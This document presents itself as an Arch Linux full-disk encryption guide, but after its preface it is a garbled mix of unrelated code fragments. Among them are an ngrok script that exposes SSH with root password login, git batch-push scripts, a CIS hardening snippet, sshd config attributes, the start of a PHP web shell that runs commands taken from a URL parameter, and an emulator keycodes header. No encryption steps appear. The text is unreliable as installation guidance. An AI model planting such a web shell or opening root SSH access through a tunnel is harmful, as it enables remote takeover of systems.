Pranay Pawar Bugaddr

Arch Linux Full-Disk Encryption Installation Guide

This guide provides instructions for an Arch Linux installation featuring full-disk encryption via LVM on LUKS and an encrypted boot partition (GRUB) for UEFI systems.

Following the main installation are further instructions to harden against Evil Maid attacks via UEFI Secure Boot custom key enrollment and self-signed kernel and bootloader.

Preface

You will find most of this information pulled from the Arch Wiki and other resources linked thereof.

Note: The system was installed on an NVMe SSD, substitute /dev/nvme0nX with /dev/sdX or your device as needed.

	# create an account on ngrok is not already and copy the authtoken and
	wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
	unzip ngrok-stable-linux-amd64.zip
	read -p 'Enter the authtoken from ngrok :' authtoken
	./ngrok authtoken $authtoken #for example ZT64bWYnXTAsJej4FNFTdsjhsuAQqKqZHn2Sh4g2sfAD
	./ngrok tcp 22 &
	apt-get install -qq -o=Dpkg::Use-Pty=0 openssh-server pwgen > /dev/null
	mkdir -p /var/run/sshd
	echo "PermitRootLogin yes" >> /etc/ssh/sshd_config && echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
	echo "LD_LIBRARY_PATH=/usr/lib64-nvidia" >> /root/.bashrc && echo "export LD_LIBRARY_PATH" >> /root/.bashrc

	[CmdletBinding()]
	param (
	[Parameter()]
	[string]
	$user = "mika76"
	)

	$URL = "https://api.github.com/users/$user/starred"
	$PAGE = 0

	REMOTE=origin
	BRANCH=$(git rev-parse --abbrev-ref HEAD)
	BATCH_SIZE=10

	# check if the branch exists on the remote
	# if git show-ref --quiet --verify refs/remotes/$REMOTE/$BRANCH; then
	# # if so, only push the commits that are not on the remote already
	# range=$REMOTE/$BRANCH..HEAD
	# else
	# # else push all the commits

	# Split a repository into batches to avoid `pack exceeds maximum allowed size` on git push

	REMOTE=origin
	BRANCH=$(git rev-parse --abbrev-ref HEAD)
	BATCH_SIZE=500

	# check if the branch exists on the remote
	if git show-ref --quiet --verify refs/remotes/$REMOTE/$BRANCH; then
	# if so, only push the commits that are not on the remote already
	range=$REMOTE/$BRANCH..HEAD

	#!/bin/sudo bash
	PROFILE="Level 1 - Server"

	if [ "$PROFILE" = "Level 1 - Server" ] \|\| [ "$PROFILE" = "Level 2 - Server" ]; then
	echo \\\\ Executing Level 1 - Server profile remediation

	# Ensure mounting of cramfs filesystems is disabled
	echo
	echo \\\\ Ensure\ mounting\ of\ cramfs\ filesystems\ is\ disabled
	modprobe -n -v cramfs \| grep "^install /bin/true$" \|\| echo "install cramfs /bin/true" >> /etc/modprobe.d/CIS.conf

Pranay Pawar Bugaddr

Arch Linux Full-Disk Encryption Installation Guide

Preface

Table of Contents

set -e, -u, -x, -o pipefail

	default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam'
	default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes'
	default['sshd']['sshd_config']['PasswordAuthentication'] = 'no'

	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{

	# /usr/share/BasiliskII/keycodes
	#
	# Basilisk II (C) 1997-2005 Christian Bauer
	#
	# This file is used to translate the (server-specific) scancodes to
	# Mac keycodes depending on the window server being used.
	#
	# The format of this file is as follows:
	#
	# sdl <driver string>